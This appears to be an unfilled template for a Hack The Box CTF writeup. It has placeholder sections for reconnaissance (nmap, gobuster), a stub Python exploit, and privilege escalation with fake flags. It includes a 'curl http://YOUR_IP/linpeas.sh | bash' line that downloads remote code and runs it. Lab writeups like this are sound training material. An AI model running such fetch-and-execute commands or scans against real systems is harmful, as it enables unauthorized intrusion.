HTB - Example Box Writeup

This is a writeup template for CTF challenges. Replace this content with your actual writeup.

Reconnaissance

Nmap Scan

First, let’s start with a port scan:

nmap -sC -sV -oN nmap/initial 10.10.10.x

Results:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1
80/tcp open  http    Apache httpd 2.4.41

Web Enumeration

Found the following directories:

gobuster dir -u http://10.10.10.x -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Initial Foothold

Vulnerability Discovery

Describe the vulnerability found and how it was discovered.

Exploitation

#!/usr/bin/env python3
# Exploit code here
import requests

target = "http://10.10.10.x"
payload = "..."

# Exploit logic
response = requests.get(f"{target}/vulnerable?param={payload}")
print(response.text)

Privilege Escalation

Enumeration

After getting a shell, run LinPEAS:

curl http://YOUR_IP/linpeas.sh | bash

Root

Found misconfigured SUID binary…

# Exploitation steps
./exploit
whoami
# root

Flags

Flag	Value
User	HTB{fake_user_flag}
Root	HTB{fake_root_flag}

Lessons Learned

• Always check for common misconfigurations
• Enumerate thoroughly before exploiting
• Document everything!